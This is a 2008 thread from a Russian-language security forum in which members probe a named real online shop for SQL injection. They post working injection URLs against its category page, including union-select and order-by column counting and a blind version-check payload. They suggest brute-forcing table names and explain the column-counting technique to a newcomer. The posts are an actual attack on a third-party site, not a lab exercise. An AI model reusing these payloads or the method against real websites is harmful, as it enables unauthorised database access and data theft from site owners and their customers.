HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.12.2008, 14:20
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


По умолчанию

Там есть иньекция, но перебирать придется вслепую, так как там сложный запрос с left join, фильтр там /*

http://www.viper-shop.dk/category.php?id=180%27+union+select+1/*

потому что если подставить

http://www.viper-shop.dk/category.php?id=180%27+union+select+1--

то совсем другой рез-т. Т.е. с этой ссылкой надо поработать как с Blind SQL-inj
 
Ответить с цитированием

  #2  
Старый 06.12.2008, 15:17
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

gisTy
читай мой пост! если скажешь что это не иньекция, то я сьем свой тапок!
http://www.viper-shop.dk/category.php?id=180'+order+by+15/*
и
http://www.viper-shop.dk/category.php?id=180'+order+by+16/*

-------------
как сказал Pashkela, тут слепая иньекция, да ещё и 4ая ветка
http://www.viper-shop.dk/category.php?id=180'+AND+SUBSTRING((select+version ()),1,1)='4
тк кк Access denied for user 'viper-shopdk'@'%' to database 'mysql' то тут надо перебирать таблы .. мне лень, еси кому то интересно - удачи ))

Последний раз редактировалось 159932; 06.12.2008 в 15:26..
 
Ответить с цитированием

  #3  
Старый 06.12.2008, 17:05
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию

сори.. это я ступил малость..
 
Ответить с цитированием

  #4  
Старый 06.12.2008, 17:33
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
По умолчанию

Не могу окончательно понять понять что означает:
Пример:
union+select+1,3,4,5,6,7,8,9/*
union+select-(Выбрать из базы)
А что означают 1,2,3,4,5,6,7,8,9 Поля в таблице?
 
Ответить с цитированием

  #5  
Старый 06.12.2008, 21:51
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
По умолчанию

Цитата:
Сообщение от geforce  
Не могу окончательно понять понять что означает:
Пример:
union+select+1,3,4,5,6,7,8,9/*
union+select-(Выбрать из базы)
А что означают 1,2,3,4,5,6,7,8,9 Поля в таблице?
Ну да, колонки в таблице.
Подбирать их следует, т.к. перед union есть опред. кол-во столбцов и после union - должно быть столько же.
 
Ответить с цитированием

  #6  
Старый 06.12.2008, 17:46
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

geforce, иди почитай
https://forum.antichat.ru/thread43966.html
 
Ответить с цитированием

  #7  
Старый 06.12.2008, 18:15
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
По умолчанию

Цитата:
Сообщение от 159932  
geforce, иди почитай
https://forum.antichat.ru/thread43966.html
Я уже милион раз читал это! Мне нуген ответ на вопрос

Вот запрос к базе пример:

PHP код:
mysql_query (SELECT FROM название таблицы
когда я пишу union select 1,2,3,4,5,6,7,8,9 какую роль играют эти цыфры?

И вопрос:

Существует ли способ обойти функцыю htmlspecialchars(); если да то как?
 
Ответить с цитированием

  #8  
Старый 07.12.2008, 10:14
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


По умолчанию

Цитата:
Сообщение от geforce  
Я уже милион раз читал это! Мне нуген ответ на вопрос

Вот запрос к базе пример:

PHP код:
mysql_query (SELECT FROM название таблицы
когда я пишу union select 1,2,3,4,5,6,7,8,9 какую роль играют эти цыфры?
Это кол-во полей, количество которых ты проверял к примеру так: +order+by+9/*
Цифра 9 - максимальное значание, при котором не вылетает ошибка мускуля. Значит пишешь +union+select+1,2,3,4,5,6,7,8,9/*
Если бы при 9 вылетала уже ошибка, а пк примеру при 5 нет... Значит будет 5 полей. То есть +union+select+1,2,3,4,5/*
 
Ответить с цитированием

  #9  
Старый 06.12.2008, 18:21
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию

2 geforce
значит прочитай ещё раз ..
там всё написано .. если сам поймёшь - значит действительно поймёшь .. а так, забудешь - на завтра.
 
Ответить с цитированием

  #10  
Старый 06.12.2008, 18:43
SHS
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941

Репутация: 2
По умолчанию

Еще это следует почитать http://www.ipmce.su/~lib/osn_prav.html#0008
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.